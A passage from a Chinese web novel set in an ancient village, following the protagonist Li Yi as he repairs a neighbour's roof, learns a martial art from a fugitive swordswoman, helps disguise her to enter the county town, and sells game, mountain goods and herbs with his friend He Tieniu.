秦心月点头,没再多问。
于巧倩心思玲珑,善于察言观色,看出秦心月心存防备却没有点破,她最了解白雪儿,心里藏不住事,有啥说啥。
相处几日,于巧倩也看出秦心月不简单,她虽常冷着脸不爱说话,但言行举止都透着礼数,一看便知家世不凡,吃鸡肉和狍子肉时,她都表现得十分平静,仿佛早已习惯,只有昨日吃面条时神色才略有失态。
于巧倩不会多管闲事,她自己都是进过大牢的人,就算秦心月是官府缉拿的逃犯,她也不觉得奇怪,昨日她已借机跟李逸提过,看自家夫君的反应似乎并不在意。
“秦姑娘,我来给你换药,夫君说,今日换完,你就不用再敷药了。”于巧倩端着药碗走过来。
“有劳倩儿姑娘。”秦心月轻声道谢。
炕上,秦心月闭目躺着,于巧倩动作轻柔地给她换药,屋内一时寂静无声。
眼看药就要换完,秦心月忽然开口,语气平静:“巧倩姑娘和雪儿姑娘,都不像是普通农户家的女儿。”
于巧倩的动作顿了顿,随即恢复如常,轻声回答:
“其实也没什么好隐瞒的,齐武帝一统天下后,我和雪儿跟许多人一样成了反贼家眷,家里男丁充军,女眷便被赠予农户为妻。”
稍作思量于巧倩继续说道:“我和雪儿还算幸运,夫君他....待我们很好。”
于巧倩的话与秦心月的猜测不谋而合,大户人家怎会把女儿嫁给山村农户,唯有这种获罪入狱的情况才说得通。
秦心月没有丝毫轻视,她自己何尝不是如此?于巧倩她们入狱后尚且有一线生机,而她若是被抓,只会落得个菜市口斩首示众的下场。
沉吟片刻,她又问道:“巧倩姑娘,可会觉得不公?心中可有怨恨?”
于巧倩苦笑着摇了摇头:“成王败寇,王朝更迭,我们这些普通子民又能有什么选择?好在如今天下一统,不会再有战乱了。”
秦心月一声长叹,语气中满是怅然:“成王败寇,自古皆是如此……”
于巧倩从她的语气中听出了端倪,更加确定了自己的猜测。
这位秦姑娘的身份,定然比她们尊贵得多,或与某位藩王有着密切关联。
另一边,李逸走到张绣娘家附近,刚好遇到挖野菜回来的大丫和豆子,姐弟俩挎着半篮枯黄的野菜,小脸蛋冻得通红,看到李逸眼睛立刻亮了起来。
“三叔!”两人齐声喊道,快步迎了上来。
豆子想到什么,转身迈着小短腿跑回院子,一边跑一边喊:
“娘,三叔来了!他还带着梯子呢!”
屋里的张绣娘听闻,扶着墙壁慢慢走出来,脸上露出一抹浅浅的笑容,眼角的皱纹都柔和了几分:“三兄弟,这是要干啥?咋还带着梯子来了?”
李逸指了指屋顶,语气自然:
“嫂子,你这屋顶露着这么大的窟窿,不修缮一下,过几天下雪可有的罪受,我来帮你修理修理。”
张绣娘有些不好意思地点点头,眼神里满是感激。
昨夜降温,她们娘仨冻得缩成一团,盖着单薄的被褥熬到天亮,而她的腰伤就是上次上房修缮时摔的,如今再也不敢轻易上去,万一真摔瘫了,两个孩子就没人照顾了。
“有劳你了,三兄弟,你可得当心些啊!”张绣娘站在下面,双手紧紧攥着衣角,语气满是担忧。
以前只觉得李三懒,游手好闲还爱说浑话,这几日相处下来,她才发现,李三干起活来其实手脚十分利落,待人也实在。
对张绣娘来说难如登天的屋顶修缮,李逸只用了几分钟就搞定了。他踩着梯子爬上屋顶,将破旧的茅草清理干净,再铺上带来的新茅草,用木杆压实,又顺便检查了屋顶其他区域,确保没有遗漏的破洞。
全程,张绣娘都站在下面紧紧盯着,时不时叮嘱一句“慢着点”,是生怕李逸脚下打滑摔下来。
“好了嫂子,这样就没问题了。”
李逸从梯子上下来,拍了拍手上的灰尘,今天不早了:
“明天我再过来,帮你把窗户和门也修一下,这样等过冬也能暖和些。”
“哎,好……”张绣娘声音带着一丝哽咽,没有再客气,虽然李逸总说这是弥补之前的过错,但她心里已经默默记下了这份恩情,想着日后有机会,定要好好偿还。
而现在,她是真的走投无路了。
家里没有男人,自己又摔伤了腰,连过冬的粮食都没囤够。
若不是李逸突然醒悟,送回了粮食还来帮忙,她们娘仨真不知道该怎么熬过这个冬天。
看着修缮完好的屋顶,张绣娘心里涌上一股暖流,眼眶也悄悄红了。
李逸见状假装没看见,继续给张绣娘按摩,结束后他没有逗留:
“嫂子,我先回去了,明天再过来,大丫,豆子,三叔明天再来看你们。”
“三叔慢走!”两个孩子齐声喊道。
第二十一章:女侠授艺
之后的三天,寒意一天比一天刺骨,初冬刚至,李逸就真切感受到了这个冬天的深深恶意。
他身上裹着旧冬衣,尚且冻得鼻尖发红手脚冰冷,更别提张绣娘和大丫、豆子那一身单薄破旧的衣衫,连寒风都挡不住。
时间愈发紧迫,李逸进山的时辰也越来越早,天还灰蒙蒙时他出发,到山林外围刚好可以看到西边大地的那第一缕晨光。
李逸铆足了劲打猎,只想在最短时间内把狩猎等级提升到下一阶段,这样才能把猎杀虎大王提上日程。
冬日里农闲,大牲口不仅派不上用场,还得天天喂草料,稍有不慎冻着饿着或是生了病,那都是损失。所以这时候买大牲口的价格最低,等开春播种或秋天收割时,大牲口成了刚需价格就得翻好几番。
所以这要以前在富裕些,李逸就打算先买一头大牲口回来。
许是天气寒冷,动物们都想在大雪来临前多囤积些食物,李逸这三天的收成格外不错。
共计猎得一只傻狍子和五只野鸡,野兔算上兔子套抓住的足足有六只。
猎物越打越多,李逸也不得不扩大进山的范围,他总在一片区域狩猎,久而久之那里的动物就会绝迹,到时候连只兔子都看不见。
昨天出山时,李逸远远瞥见了一头成年野鹿,那野鹿身形矫健头上的鹿角又大又壮,一看就是上好的药材,对男人来说是绝佳的补品,只可惜可它实在警觉,距离又远,刚察觉到动静就撒腿狂奔,李逸追了半里地也没能追上,只能眼睁睁看着它消失在密林里,心里满是遗憾。
何铁牛只在昨天跟着进了一次山,还只在山林外围采摘药材,最近他忙着备柴,家里有两个火坑要烧必须囤足柴火,还顺带给李逸家送了不少。
两人约定好明天一起去县城,把这几日攒下的山货和药材全都卖掉换成粟米。
连续五天的按摩,张绣娘腰部的疼痛缓和了不少,只是还不敢大幅度活动,她牢记李逸的叮嘱,安心静养,只等身体完全康复再干活。
眼看着黄昏降临,天色渐渐暗下来,张绣娘竟不自觉地在心里期盼着李逸能来。
豆子吸了吸冻得通红的鼻子,仰着小脸问:“娘,天都黑了,三叔怎么还不来摸你呀?”
“哎呦!你这孩子胡说什么!”张绣娘老脸一红,连忙瞪了豆子一眼压低声音训斥:“三叔那是在给娘治病呢,可不许出去乱讲,让人听见笑话!”
“哦……知道了,我不乱说。”豆子老实地点点头。
正在灶台边煮粟米粥的大丫,抬眼望瞭望着屋外,轻声问:“娘,三叔是不是今天太忙了?要不我去喊他?”
话音刚落,就见李逸从外面走了进来,肩膀上还扛着一捆沉甸甸的干柴。
“嫂子,我来了!”
村里的村妇,平日里无事可做最爱嚼舌根,赵寡妇见李逸天天往张绣娘家跑,就添油加醋地传了出去,暗地里嘲笑张绣娘:
“守了这么多年,终究还是没守住,以前还当她是贞洁烈妇,原来也和咱们一样。”
这些闲话,李逸是从刘氏那里听来的,他以前的混账形象太过深入人心,如今就算是真心做好事,也总有人往歪处想。
李逸懒得解释,自己的日子自己过,别人爱嚼舌根就嚼去,可若是有人敢做得过分他也绝不会心慈手软,就是怕影响了张绣娘的名声。
“三兄弟来了!”
张绣娘满脸笑意地迎出来。
这几天观察下来,她发现李三是真的变了,办事靠谱,干活利落,不说大话空话,昨天还特意给她们娘仨送了半只山鸡和一些干蘑菇。
“嫂子,明天我要去县城卖山货,晚上估计回不来。”
李逸把柴火靠在墙角,拍了拍身上的尘土:“不过你这腰,今天按完就没大碍了,之后接着静养些时日,千万别累着。”
张绣娘连连点头,语气带着关切:“好,正事要紧,这眼看就要下大雪了,现在去县城还能走,等雪封了路想去都去不成了。”
李逸给张绣娘按完摩,没多耽搁早早回了家,留她们娘仨围着小木桌吃晚饭。
“娘,三叔变得比以前好了好多。”大丫喝了一口温热的粟米粥,抬头看着母亲,小脸上满是认真:“他给咱们送了好多捆柴,还送肉吃。”
豆子立刻跟着点头,含混不清地说:“对,我喜欢现在的三叔,他给的肉可香了,我想天天吃!”
张绣娘瞪了他一眼,嗔道:“混小子,快吃你的粥吧!打猎哪有那么容易?三叔冒着寒风进山多辛苦啊。”
“哦……”豆子低下头扒拉了两口粥,似是想到什么抬起头,眼神亮晶晶的:“等我长大了,我要跟三叔学打猎,那样就能给娘和姐姐打肉吃了!”
张绣娘揉了揉他的头顶,脸上露出欣慰的笑容:“好,娘等着。可你得好好长身体,别到时候连弓都拉不动。”
另一边,李逸家的院子里,白雪儿正星星盼月亮似的等着李逸回来,李逸走之前,特意揉了一个大大的面团,说晚上要给她做好吃的。
这面团看着比平日里做面条的要粗糙些,掺了些大麦粉,白雪儿蹲在灶台边,小手托着下巴,盯着面团左看右看,小脑袋里满是疑惑,不知道夫君要做什么新奇吃食。
李逸一进门,就看到白雪儿那副好奇的模样,忍不住笑了:“别着急,现在就给你做,保证是你没吃过的好东西!”
他先切了一块狍子肉,又配上蘑菇和晒干的山野菜一起放进锅里炖着,把面团切成小块,擀成一个个巴掌大的薄饼,顺着滚烫的锅沿贴了一圈。
白雪儿歪着脑袋,眼睛一眨不眨地盯着锅沿的饼子,连呼吸都放轻了,生怕惊扰了这新奇的吃食。
于巧倩也站在一旁看着,心里满是好奇。
自从李逸那天醒悟后,就总做出些从未见过的东西:搭保暖的火炕,做石磨和脱壳工具,还有烤兔肉、做面条……每一件都让她觉得新鲜。
李逸解释道:“这面团没发酵,条件有限只能先这样做。等日后做块老面,我给你们蒸馒头吃,那可比这饼子松软多了。”
老面的制作工序不难,每次取一部分融入新面团,越老的面发酵效果越好,还带着独特的麦香,是干酵母比不了的。
于巧倩听得认真,心里暗自佩服,李逸不仅会打猎会做木工,连吃食都有这么多门道。
半个时辰后,锅里传出浓郁的肉香味,夹杂着麦香,馋得白雪儿直咽口水。
李逸掀开锅盖,用木铲翻了翻锅里的炖肉,防止锅底糊掉,发现原本薄薄的饼子,在蒸汽的熏蒸下微微鼓了起来,比刚才大了一圈,卖相比想象中好很多。
“夫君,这是什么呀?看着比刚才大了好多!”白雪儿凑上前,鼻尖都快碰到锅沿了。
李逸赶紧把她往后拉了拉,怕蒸汽烫到她:“这叫饼子,等凉一点就给你尝。”
他小心翼翼地揭下一个饼子,烫得在两只手掌间来回掂着,白雪儿的眼睛跟着饼子左右移动,像只盯着逗猫棒的小猫咪,可爱得紧。
“来,你俩尝尝。”
李逸撕开饼子,给白雪儿和于巧倩各递了一块,自己也拿起一块塞进嘴里。
口感不算特别好,有点扎实,但比预想中软乎,带着淡淡的麦香。
可就是这样简单的饼子,还是让白雪儿和于巧倩眼前一亮。
“夫君,这饼子好好吃!”白雪儿瞪大眼睛,嘴里嚼着饼子含糊地喊道。
于巧倩也点点头,细细品味着:“麦香很浓,配着菜吃肯定更香。”
李逸把锅里的肉和菜盛出来,又把剩下的饼子一个个揭下来,秦心月看到桌上新奇的吃食,眼里闪过一丝疑惑,这东西和之前的面条一样,她从未见过。
“秦姐姐,这叫饼子,可好吃了,你快尝尝!”白雪儿热情地递了一块给她。
秦心月接过饼子咬了一口,麦香在嘴里弥漫开来,心中惊艳的同时她开始思考:
这饼子和面条都是用小麦磨成的粉制作,真正有意思的是李逸做的那台石磨,若是这石磨让更多人知道,怕是会改变不少人的生计。
“嗯,好吃。”秦心月真心实意地给予了肯定。
几个人学着李逸的样子,一手抓着饼子,一手用筷子夹菜。
白雪儿最喜欢把肉和蘑菇放在饼子上卷着吃或是把饼子浸在菜汤里,吸饱汤汁的饼子咬下一口全是满足感。
晚饭吃完,李逸正要去外屋做木工活,准备明天去县城要用的东西,却听到秦心月开口了。
“这几日,多谢李公子和二位姑娘照顾。”她站起身抱了抱拳头,语气诚恳:“救命之恩,没齿难忘。”
“我身上没有银钱,唯一值钱的物件是父亲传我的鱼肠剑,可这剑是家传之物,实在不能赠予公子。”
秦心月顿了顿,下定决心后又道:“我传授李公子一套拳脚功夫,纵使不当绿林莽夫,练些功夫也能强身健体。”
李逸闻言,干笑两声:“秦姑娘客气了。我这年纪早就过了习武打基础的时候,学拳法怕是心有余而力不足”
秦心月却坚持道:“李公子误会了,这并非搏杀的外家拳法,而是一套养生健体的内家拳,每天练习片刻对你的身体大有裨益。”
李逸眼角抽了抽,心里暗自腹诽:是五禽戏?太极拳?还是八卦掌?只要不是什么闪电五连鞭就行。
见秦心月态度坚决,实在推辞不过李逸只好应了下来,跟着她去了外屋。
秦心月虽是女子,自幼习武,身体素质远非寻常人可比,之前受了那么重的伤,才短短几日,竟已能行动自如。
“我要传授你的拳法,名为《气合拳》,共八式,练的是一口气,养的是心神。”秦心月一边介绍,一边缓缓做出动作。
这拳法节奏不快,没有虎虎生风的力量感,反倒有些像太极,动作舒缓,八式加起来不过二十五个动作,透着一股沉稳内敛的韵味。
李逸跟着她一招一式地学,刚练了两遍,脑海里就响起了系统提示音:
【领悟新生存技能:武功】
这提示让李逸的嘴角不自觉地抽搐了一下,系统爸爸还真是无所不能啊。
屋子外的寒风呜呜作响,秦心月耐心地纠正着李逸的动作,
李逸一边跟着练习《气合拳》,一边在心里盘算:
等明天从县城回来,再进山一两次狩猎等级就该提升了,到时候早早准备猎杀虎大王的事。
秦女侠传授的拳法,每天练练也不错,强身健体总是好的。
木材还要多备些,提前给大牲口搭个棚子,可以找铁牛帮忙。
第二十二章:进城卖货,终有离别
秦心月看着李逸独自练完气合拳,眼中闪过一丝诧异:
“没想到,李公子在武道上倒是有些天赋的,只可惜年纪稍大错过了打基础的最佳的时候。”
秦心月顿了顿补充道:“这气合拳虽非搏杀之术,但若是修炼出一口内家之气,其威力远要超过那些刚猛的外家功法,最重要的还是能强身健体,还望李公子勤加练习。”
李逸学着秦心月的动作抱了抱拳:“多谢秦姑娘赐教。”
“明日我便随你们一同离开。”秦心月语气诚恳:“这段时日多有打扰,救命之恩没齿难忘,日后有机会定当登门答谢。”
李逸心里暗自嘀咕:女侠大可不必如此客气,你走你的江湖路,我过我的致富生活,咱们就此别过,互不打扰最好。
嘴上却客气道:“秦姑娘不必记挂在心,我只是恰好遇见,换做旁人也不会见死不救的。”
夜里,屋内寂静无声,唯有屋外寒风呼啸。
大荒村的冬日,风一旦刮起来便没日没夜,像是要把整个村子都卷起。
天还没亮,天边只泛着一丝鱼肚白,李逸就早早起床收拾。
很多东西都存放在物品栏里,必须趁没人的时候取出来,这次有何铁牛同行,便是不能再肆无忌惮地使用物品栏的便利了。
李逸把猎物和山货全搬到木板车上,刚回屋,就撞见也已收拾妥当的秦心月。
她依旧一身黑衣,头发用皮质发箍束成高马尾,英气逼人,却也格外扎眼,站在人群中完全就是鹤立鸡群,想不注意她都难。
李逸犹豫了一下,还是开口:“呃……秦姑娘,有句话不知当讲不当讲。”
“李公子请说。”秦心月抬眸看来。
“恕我直言,你这装扮太过惹眼,让人一眼就能记住,而且还与我当日救你时一模一样,若是遇上追杀你的人,怕是一眼就能认出你。”
秦心月怔住了,脸上闪过一丝惊愕!
她自幼习武,艺高人胆大,竟从未想过伪装之事。
李逸看到她的表情就什么都懂了,感情女侠也是新手啊。
他无奈摇头:“雪儿那里还有几件旧冬衣,你选件合身的换上,还有这头发,也得改改样子。”
在李逸的指导下,秦心月换上了一身最朴素的旧冬衣,头发也松松散散地挽起,扮成了寻常农户妇人的模样,只是那双眼睛,依旧冷冽锐利,藏不住骨子里的英气。
“夫君真厉害!秦姐姐这样别人肯定认不出来了!”白雪儿拍手笑道。
李逸捏着下巴打量片刻:“还差一点。”
说着他走上前,轻轻将秦心月额前的头发拨散些许,刚好遮掩住她那对过于英挺的剑眉。
如此近距离的接触,如此亲昵的动作,李逸没太在意,秦心月却有些手足无措。
江湖儿女虽不拘小节,但除了父亲,李逸是第一个与她这般亲近的男子,竟是让不惧追杀的琴女侠脸颊悄悄泛起一丝红晕。
“这样就好多了。”
李逸满意点头,补充道:
“到人多的地方,你就低头装作羞怯的样子,便没人能看出你的反常。”
说话间,李逸不经意瞥见秦心月脚上的靴子。
精致的皮革,鞋底厚实,一看就不是农户或富户会穿的,反倒像是行伍出身或绿林人常用的,耐磨又便于行动。
白雪儿挠了挠头:“夫君,这鞋子怎么了?”
“农户穿不起,富户不屑穿,只有绿林人或当兵的才穿这种。”李逸解释道。
秦心月又是恍然大悟,难怪她之前屡屡被追,原来这些细节都是可以暴露身份的。
于巧倩的脚与秦心月大小相近,换上于巧倩的旧布鞋,虽略紧一些但也不碍事。
“秦姑娘,你现在这打扮,就算仇家站在面前也不敢认你。要是控制不好表情,你就一直低着头,身子别站太直,稍微蜷缩些更像农户妇人。”李逸细细叮嘱。
“李三兄弟!李三兄弟!”何铁牛的大嗓门在院外响起,带着几分急促。
“走吧。”李逸拿起水囊,又往怀里揣了几个昨晚剩下的饼子,大步向外走去。
“弟妹也要跟着一起去?”
天色尚暗,秦心月穿着于巧倩的旧衣服,何铁牛一时没认出来,憨厚地问道。
“带她去县城走趟亲戚。”李逸随口含糊过去。
何铁牛拎着三个大麻袋,里面装满了他采的山货和药材,看着鼓鼓囊囊,实则加起来还不到百斤。
看到木板车上的猎物,他眼睛一亮:“哎呦!这么多猎物!李三兄弟打猎可真是把好手,有这好手艺弟妹们可是不会挨饿。”
何铁牛把自己的麻袋压在最上面,用草绳捆结实,然后走到木板车前端,弯腰拉起车把:“这木板车真不错,轻快得很!”
何铁牛又看向秦心月问道:“弟妹要不坐上来吧,我拉得动,这一路可不近。”
“算了,铁牛哥,让她走走吧,天凉,活动活动能暖和些。”李逸笑着推辞。
“也行,累了就说,弟妹别不好意思!”何铁牛爽快地应下。
三人就这样踏上了离村的小路,上冻的地面硬邦邦的,木板车走在上面少了不少阻力,何铁牛拉得毫不费力。
走到正午,距离县城还有不到三分之一的路程,李逸停下脚步拿出三个饼子,一人分了一个。
“李三兄弟,这是啥吃食?”何铁牛拿着饼子,好奇地打量着。
“饼子,尝尝看。”
何铁牛咬了一大口,麦香混合着淡淡的烟火气,味道很独特,他眼睛一亮,连声赞叹:
“呦!这饼子真好吃!比粟米粥顶饱多了!”
短暂休息片刻,三人继续赶路。
两个小时后,安平县城的土城墙终于出现在视线中,路边偶尔能看到往来的农户,或背着东西进城,或扛着货物出城,都行色匆匆。
接近城门口,李逸看到四个士兵守在那里,眼神锐利地盯着往来行人。
秦心月的身体瞬间绷紧,手掌下意识就想去摸袖子里的鱼肠剑。
李逸眼疾手快,一把抓住她的手腕,压低声音:“莫慌,放轻松,没人能认出你,相信我。”
他就这么拉着秦心月的手腕,从容地走到城门口。
“进城干什么?”
一名守门士兵沉声发问,眼神在三人身上扫来扫去。
李逸脸上堆起笑容,上前一步:“呵呵,兵爷,我们是乡下农户,进城卖些山货。”
说话间,他悄悄递过去十个铜板。
士兵不动声色地将铜钱攥在掌心,侧了侧身,让出通道:
李逸顺着他指的方向看去,那边的城墙上果然贴着一张画像。
虽没画出清晰五官,但一身黑衣和高马尾的特征格外明显,正是秦心月之前的装扮。
他连忙点头,故作惊讶:“哎呦,多谢兵爷提醒,我们一定会当心的!”
三人就这么大摇大摆地进了城,刚才紧张之下,秦心月竟下意识反握住了李逸的手,直到进城走了一段路,二人才反应过来,连忙松开。
秦心月的脸颊泛起一丝不易察觉的红晕。
“记住,任何时候都不能慌,你现在这模样,没人能认出你的。”李逸压低声音再次叮嘱。
“李公子,我们就此告别。”秦心月停下脚步看着李逸:“你的恩情,我必铭记在心,日后必有回报。”她说着就要转身离去。
李逸一把拉住她,从怀里掏出二十枚铜钱塞到她手里:
“你身无分文,这些钱不多,先拿去应急吧。”
秦心月犹豫,终究还是收下,郑重地点了点头:“李公子,后会有期!”
旁边的何铁牛看着两人亲昵的模样,露出憨厚的笑容,心里暗自嘀咕:李三兄弟和弟媳的感情可真好啊。
目送秦心月的身影消失在人群中,李逸对何铁牛招了招手:
“走吧,铁牛哥,带你吃酒去!”
冬日的县城格外寒冷,冷风顺着街巷穿梭,行人比上次来少了一半,个个都裹紧了衣衫,行色匆匆。
两人目标明确,直奔城西的王记酒肆,李逸让何铁牛把木板车停在酒肆门侧,自己则迈步走了进去。
“唉?是你!”
店小二丁二迎了出来,一眼就认出了是上次来卖野猪的李逸,脸上露出笑容。
“丁二哥,麻烦帮我喊下王店主。”李逸笑着回应。
何铁牛站在店外等候,虽身材高大却显得有些拘谨,双手不自觉地搓着衣角。
他以前进城卖东西,总被人刁难,心里难免有些担忧,但既然李逸说王店主信得过,他便选择相信。
不到十分钟,穿着狐裘大衣的王店主就大步走了出来,他圆滚滚的身材裹在狐裘里,活像一头人熊,脸上却堆着爽朗的笑容:
“哈哈哈!可把你这小子盼来了!快让我看看,你这次带了什么好货!”
李逸知道他说的好货指的是野味,便和何铁牛一起把压在上面的山货麻袋搬下来,露出了下面的狍子,野兔和山鸡。
王店主的眼睛瞬间瞪得溜圆:“好家伙!狍子、野兔、山鸡,数量真不少啊!哎?这兔子和狍子的皮子呢?”
李逸干笑两声:“皮子我剥下来了,打算单独卖到皮货铺,能多赚两个钱。”
王店主笑而不语,目光落在旁边的麻袋上:“这些又是什么?”
“山里捡的干蘑菇、木耳,还有些药草,都是挑干净的。”李逸说着,打开一个麻袋让他查看。
王店主伸手抓了一把干蘑菇,凑到鼻尖闻了闻,又捻了捻,满意地点点头:“不错不错,我全按市价收了!”
何铁牛站在一旁,满脸惊愕!
他没想到卖货竟这么容易?以前他去乡里卖干柴,好话说尽还得看人脸色,甚至被驱赶。
他心中暗自佩服:李三兄弟是真有本事啊!
李逸带来的山货都是在家里精挑细选过的,卖相不好的留下自己吃,杂草枯叶全挑出去,泥土也清理得干干净净。
何铁牛原本听他婆娘的话,想往里面掺些泥土压分量,还是李逸劝说他才偷偷挑拣干净。
王店主笑着说道:“说实话,你们这山货的品相是我见过最干净的。之前那些送山货的,总喜欢往里掺土掺杂草,当我是傻子!以后就算他们求着我,我也会不收,还是你们实在,以后有货尽管往我这送,多少我都吃得下!”
第二十三章:何铁牛的心思
李逸这次拉来的猎物,既有近三天刚打的新鲜货,也有之前存放在物品栏里的存货。
伙计们抬着木盆清点,王店主站在一旁算账:
“野鸡六只,毛色鲜亮,每只三十钱。”
“野兔七只,膘肥体壮,每只三十二钱。”
“狍子一只,虽已剥皮,肉质紧实无异味,算三百钱。”
算下来全部猎物共计七百零二钱,这笔钱看着不少,却还不及一头野猪的售价。
李逸心里清楚,若是把完整的兔皮和那张狍子皮全部售卖,至少还能多赚两三百钱。
猎物清算完毕便轮到了山货,何铁牛攥着衣角,喉结上下滚动,紧张地盯着伙计们过秤的木杆,他跟着李逸进山的次数不多,之前心思全扑在捡山货上,后面山货少了才捡的药草,干蘑菇攒了十一斤,木耳八斤。
李逸进山次数虽多,却以打猎为主,这次带的山货不算多,干蘑菇十斤木耳六斤。
好在近来县城山货行情不错,王店主本就满意李逸带来的野味成色,又见这山货晒得干爽,无泥无杂,便都按最高市价收购,干蘑菇三十五钱一斤,木耳四十钱一斤。
王店主报出收价格时,何铁牛猛地吸了口气,眼睛瞪得溜圆。
他上次在乡里卖过些干蘑和木耳,一斤只给二十钱还嫌他的货带土。
何铁牛更是惊愕得说不出话,半月前他去乡里卖柴顺带卖了些没拣净的干蘑,他还是好话说尽对方才答应以十钱一斤的价格收。
这般悬殊的价格差,让何铁牛肠子都快悔青了,抬手狠狠拍了下大腿,心里直骂自己当初没把货拾掇干净。
李逸倒看得通透,王店主这是不差钱,更有意拉拢他们做长期买卖,想把他手里的野味全包了,才会把山货也给这样的高价,若是去集市找专门收山货的二道贩子,价格至少要低十钱,那些商人靠着对接更高层级的卖家,赚的就是这份差价,买卖的本质本就如此。
“行了,我去拿钱给你们结账!”
王店主拍了拍手上的灰,语气依旧豪爽:
“看你们风尘仆仆的,定是没吃晌午饭,进店来垫垫肚子,我做东!”
他今日心情本就好,再过几日要给老娘过寿,宴请的都是县城有头有脸的人物,正愁没些新奇野味招待,李逸就送来了货,可谓正中下怀。
“李三兄弟,这……”
何铁牛有些拘谨,钱没攥在手里,他的心里总不踏实。
李逸靠看向他笑了笑:“放心,王店主是信得过的。”
二人在店内靠角落的桌子坐下,没一会儿,王店主就拎着两串沉甸甸的铜钱过来。
“来,小兄弟,这是你的,这位兄弟是第一次来,这是你的。”
铜钱串在桌上滚了滚,泛着冷硬的金属光泽,何铁牛拿起自己那串,入手沉甸甸的,凉意在掌心蔓延,心里却热得发烫!这是他这辈子见过最多的钱,攥得指腹都发疼。
王店主又让人拿来一小坛酒和两个粗瓷大碗,手掌拍了拍李逸的肩膀:“吃好喝好,不用客气!”
两大碗粟米饭冒着热气,一盘炒黄豆,嚼着嘎嘣脆,一碟腌菜脆生生的,带着酸香,还有几片腊肉,切得薄透,肥瘦相间,在碟子里泛着油花,看着就让人食指大动。
小二刚走,何铁牛就凑近了些,压低声音问:“这一桌菜,还有这酒,得不少钱吧?”
李逸伸手扒开酒坛封口,一股淡淡的酒糟味飘了出来,先给何铁牛倒了满满一碗,再给自己斟上,笑道:“放心吧铁牛哥,王店主看着面相凶,实则为人爽快,你尝尝这酒怎么样?”
何铁牛点点头,端起酒碗浅尝了一口,立刻咧嘴笑了,砸了咂嘴:
“好!好酒!真有劲儿!”
这般真挚的评价,差点让李逸破防大笑。
这酒度数极低,甜丝丝的带着点米味,搁在现代顶多算儿童米酒,可他也知道,在技术落后的古代,这已是不错的酒了,便顺着何铁牛的话也抿了一口。
吃饱喝足,二人谢过王店主,推着木板车离开。
车上还剩些麻袋,里面装的是药草,李逸本没指望这些药材卖高价,他们都是直接整株摘下塞进麻袋,既没晒干,也没分拣归类,更别提用专业的炮制二次加工了。
药材的高价,本就有大半耗在处理上,有的需要晾晒去湿,有的需要切片去杂,还有的要经过蒸、煮、焙等繁复工序。
眼下是荒年,穷苦农户看不起病,普通百姓更是能扛就扛,只有富户才舍得花钱看病抓药。
大环境不好,药铺抓药的价格跟着降,收药材时自然也狠狠压价。
二人进了第一家药铺,掌柜的眼皮都没抬,指尖拨着算盘,语气敷衍:
“三钱一斤,要卖就留下,不卖就走。”
李逸之前打听过,处理好的刺五加在药铺里能卖一百钱一斤,就算是未晾干未处理的鲜货,也该值十钱左右。
何铁牛听闻就眼睛一亮,手都伸到麻袋口了,他那袋药材少说有三四十斤,三钱一斤也是一笔不小的进账,够换些粟米贴补家用了。
可看李逸皱着眉没应声,显然是不打算卖,何铁牛只好悻悻地收回手,跟着他走出药铺。
第二家药铺的价格略高些,掌柜翻了翻药材,嫌带着泥土,开价五钱一斤。
何铁牛又动了心,频频看向李逸,李逸试着还价,要求七钱一斤,且收购量不得低于十斤,掌柜的当即沉了脸,挥挥手:“哪来的穷小子,还敢跟我讨价还价?快走快走,别耽误我做生意!”
二人只好离开,何铁牛拉着木板车,脚步沉重,欲言又止。
李逸看他这模样,笑着开口:“铁牛哥,你是不是想把药材卖了?”
何铁牛老实地点点头,声音带着几分急切:“对啊,我那袋少说有三十斤,五钱一斤能换一百五十钱,换成粟米够全家人吃一段时日了,这药草我看山里还有很多,回去赶在下大雪前还能多采些。”
“李逸点头:“好!那到下一家药铺,若是他们肯收,你想卖就卖吧。”
李逸清楚何铁牛的想法,和这个年代绝大多数穷户一样,能当下换成粮食比什么都强。
也正因如此,那些头脑活络的,才都做起了倒买倒卖的二道贩子,赚些差价就能轻易糊口。
向路人打听后,二人又找上了第三家药铺。
这家药铺门面不大,掌柜是个头发花白的老者,看着慈眉善目,他见二人风尘仆仆,脸和手都冻得发红,手上还沾着泥土,便多了几分耐心,翻检了药材后,给出了七钱一斤的价格。
何铁牛心中狂喜,没有半分犹豫就答应了,连忙把麻袋里的药材倒出来过秤。
一共三十一斤,算下来进账两百一十七钱,加上之前卖山货的收入,他今日竟有了近九百钱的进账。
何铁牛之前特意问过粟米价格,未脱壳的粟米一斗八钱,十斤为一斗,一百斤也才八十钱。
心里盘算着,他嘴角都快咧到耳根了,今年冬天既有充足的粮食,家里又搭了暖烘烘的火炕,定是他这辈子过得最舒服的一个冬天。
李逸却没着急出手,拉着木板车,把县城里大小药铺都问了个遍。他这般做,既是做市场调研询价,也是想借着接触,摸一摸各个药铺掌柜的脾气性格。
人心隔肚皮,表面的态度多是伪装,唯有实打实的交易,才能看出人品。
对比下来,李逸最看好的是三才药铺。
这家药铺规模在县城里算是中等,后院有个宽敞的院子,正好用来晾晒和二次加工药材。药铺里坐诊的是位上了年纪的老者,负责经营的却是个年轻人,看着比李逸大不了几岁,说话干脆利落,做事不死脑筋,透着股爽快劲儿。
一番交谈后,李逸的药材最终卖到了平均一斤十二钱的价格,二人还敲定了后续的合作,日后李逸采来的药材,只要处理得当,三才药铺都按市价上浮一钱收购。
这一幕落在何铁牛眼里,让他肠子都悔青了,使劲拍了下大腿,脸色涨红。
【一斤少卖五钱,三十一斤就足足少卖了一百五十五钱!那可是能买两斗粟米的钱啊!】
【哎呀!就该跟着李三兄弟一起!他心思比我细,以后他说什么我都听他的!】
听到何铁牛在身后暗自懊恼的心声,李逸嘴角微微上翘。
他这般做,其实是刻意为之,目的就是让何铁牛有现在这样的想法。
何铁牛身强力壮,为人又憨厚老实,没什么心眼,李逸想把他培养成一个靠谱的执行者,让他日后凡事都听自己的安排,不打半点折扣,也不存半分质疑。
售卖完药材,木板车上就只剩下李逸的一些皮货,趁着太阳还没落山,李逸带着何铁牛去了皮货店,可几家皮货店的掌柜,一看他们是乡下来的穷户便故意挑刺,把他的皮子说得一文不值,压价压得离谱。
李逸如今手头宽裕,也不急于变现,逛了三家皮货店都是这般,便断了当场卖掉这些皮子的念头,转身就要走。
“唉!这位小兄弟留步!”
二人刚走出第三家皮货店没几步,就有个中年男人快步追了上来。
男人虽不是富户装扮,却衣着得体,脚步稳健,说话时神态沉稳,语气平和。
“不知道这位兄长有何事?”李逸停下脚步,抱拳问道。
中年男人笑着回道:“我刚才在店里瞧见你手里有三张白兔皮,成色极好,我很是喜欢,二十钱一张,你可愿意卖与我?”
李逸心中一动,痛快点头:
